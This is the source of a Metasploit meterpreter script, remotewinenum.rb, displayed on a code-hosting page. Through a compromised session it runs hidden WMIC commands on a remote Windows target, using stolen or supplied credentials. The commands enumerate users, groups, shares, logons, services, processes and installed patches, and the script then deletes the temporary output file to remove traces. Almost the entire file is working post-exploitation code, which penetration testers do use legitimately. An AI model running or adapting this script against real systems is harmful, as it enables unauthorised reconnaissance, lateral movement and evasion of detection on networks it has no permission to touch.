Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/remotewinenum.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##5678# Author: Carlos Perez at carlos_perez[at]darkoperator.com9#-------------------------------------------------------------------------------10################## Variable Declarations ##################11session = client12# Variables for Options13helpcall = 014rusr = nil15rpass = nil16trg = ""17# Script Options18@@exec_opts = Rex::Parser::Arguments.new(19"-h" => [ false, "Help menu."],20"-t" => [ true, "The target address"],21"-u" => [ true, "User on the target system (If not provided it will use credential of process)"],22"-p" => [ true, "Password of user on target system"]23)2425# Create Filename info to be appended to downloaded files26filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")2728# Create a directory for the logs29logs = ::File.join(Msf::Config.log_directory, 'scripts', 'remotewinenum')3031# Create the log directory32::FileUtils.mkdir_p(logs)3334# WMIC Commands that will be executed on the Target35wmic = [36'environment list',37'share list',38'nicconfig list',39'computersystem list',40'useraccount list',41'group list',42'sysaccount list',43'volume list brief',44'logicaldisk get description,filesystem,name,size',45'netlogin get name,lastlogon,badpasswordcount',46'netclient list brief',47'netuse get name,username,connectiontype,localname',48'share get name,path',49'nteventlog get path,filename,writeable',50'service list brief',51'process list brief',52'startup list full',53'rdtoggle list',54'product get name,version',55'qfe list'56]57################## Function Declarations ##################5859# Function for running a list of WMIC commands stored in a array, returns string60def wmicexec(session,wmic,user,pass,trgt)61print_status("Running WMIC Commands ....")62tmpout = ''63command = nil64runfail = 065runningas = session.sys.config.getuid66begin67tmp = session.sys.config.getenv('TEMP')68# Temporary file on windows host to store results69wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt"7071wmic.each do |wmi|72if user == nil73print_status("The commands will be ran under the credentials of #{runningas}")74command = "/node:#{trgt} /append:#{wmicfl} #{wmi}"75else76command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}"77end78print_status "\trunning command wimic #{wmi}"79r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})80sleep(1)81r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'})82sleep(1)83r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})84sleep(1)85#print_status "\twmic #{command}"86r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true})87#Making sure that wmic finishes before executing next wmic command88prog2check = "wmic.exe"89found = 090sleep(2)91while found == 092session.sys.process.get_processes().each do |x|93found =194if prog2check == (x['name'].downcase)95sleep(0.5)96found = 097end98end99end100r.close101end102# Read the output file of the wmic commands103wmioutfile = session.fs.file.new(wmicfl, "rb")104until wmioutfile.eof?105tmpout << wmioutfile.read106end107# Close output file in host108wmioutfile.close109rescue ::Exception => e110print_status("Error running WMIC commands: #{e.class} #{e}")111end112# We delete the file with the wmic command output.113c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})114c.close115tmpout116end117118#------------------------------------------------------------------------------119# Function to generate report header120def headerbuid(session,target,dest)121# Header for File that will hold all the output of the commands122info = session.sys.config.sysinfo123header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"124header << "Running as: #{client.sys.config.getuid}\n"125header << "From: #{info['Computer']}\n"126header << "OS: #{info['OS']}\n"127header << "Target: #{target}\n"128header << "\n\n\n"129130print_status("Saving report to #{dest}")131header132133end134135#------------------------------------------------------------------------------136# Function Help Message137def helpmsg138print("Remote Windows Enumeration Meterpreter Script\n" +139"This script will enumerate windows hosts in the target environment\n" +140"given a username and password or using the credential under witch\n" +141"Meterpreter is running using WMI wmic windows native tool.\n" +142"Usage:\n" +143@@exec_opts.usage)144end145################## MAIN ##################146if client.platform == 'windows'147localos = session.sys.config.sysinfo148149# Check that the command is not being ran on a Win2k host150# since wmic is not present in Windows 2000151if localos =~ /(Windows 2000)/152print_status("This script is not supported to be ran from Windows 2000 servers!!!")153else154# Parsing of Options155@@exec_opts.parse(args) { |opt, idx, val|156case opt157158when "-t"159trg = val160when "-u"161rusr = val162when "-p"163rpass = val164when "-h"165helpmsg166helpcall = 1167end168169}170#logfile name171dest = logs + "/" + trg + filenameinfo172# Executing main logic of the script173if helpcall == 0 and trg != ""174175# Making sure that is running as System a Username and Password for target machine must be provided176177if is_system? && rusr == nil && rpass == nil178179print_status("Stopped: Running as System and no user provided for connecting to target!!")180181else trg != nil && helpcall != 1182183file_local_write(dest,headerbuid(session,trg,dest))184file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg))185186end187elsif helpcall == 0 and trg == ""188189helpmsg190end191end192else193print_error("This version of Meterpreter is not supported with this Script!")194raise Rex::Script::Completed195end196197198